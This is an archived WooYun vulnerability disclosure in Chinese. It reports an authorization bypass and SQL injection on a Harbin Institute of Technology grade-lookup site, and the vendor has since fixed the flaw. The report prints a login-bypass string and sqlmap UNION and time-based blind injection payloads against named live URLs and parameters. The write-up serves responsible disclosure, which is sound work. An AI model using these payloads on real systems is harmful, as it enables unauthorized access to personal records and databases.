当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130864

漏洞标题:哈尔滨工业大学某站越权+sql注入

相关厂商:哈尔滨工业大学

漏洞作者: 路人甲

提交时间:2015-08-04 11:34

修复时间:2015-08-24 08:46

公开时间:2015-08-24 08:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-04: 厂商已经确认,细节仅向厂商公开
2015-08-14: 细节向核心白帽子及相关领域专家公开
2015-08-24: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

0x01: 越权查看成绩
地址:http://am.hit.edu.cn/zpy/mdscorelogin.php
用户名: ' or 1=1 #
密码任意

QQ截图20150801111502.png


0x02: sql注入
http://am.hit.edu.cn/zpy/mdscorecheck.php POST型 可UNION

Parameter: fullname (POST)
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: fullname=123' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b6b6a71,0x484956766d6d49514b6d,0x71627a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&studentid=123
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: fullname=123' AND (SELECT * FROM (SELECT(SLEEP(5)))WSDu) AND 'ungD'='ungD&studentid=123
Parameter: studentid (POST)
Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: fullname=123&studentid=123' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b6b6a71,0x66544274457a4a756f44,0x71627a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: fullname=123&studentid=123' AND (SELECT * FROM (SELECT(SLEEP(5)))vosv) AND 'trWh'='trWh
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: fullname, type: Single quoted string (default)
[1] place: POST, parameter: studentid, type: Single quoted string
[q] Quit
> 1


两个参数都存在注入

QQ截图20150801111700.png


漏洞证明:

= .=

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-08-04 13:29

厂商回复:

谢谢

最新状态:

2015-08-24:已经修复,谢谢


漏洞评价:

评论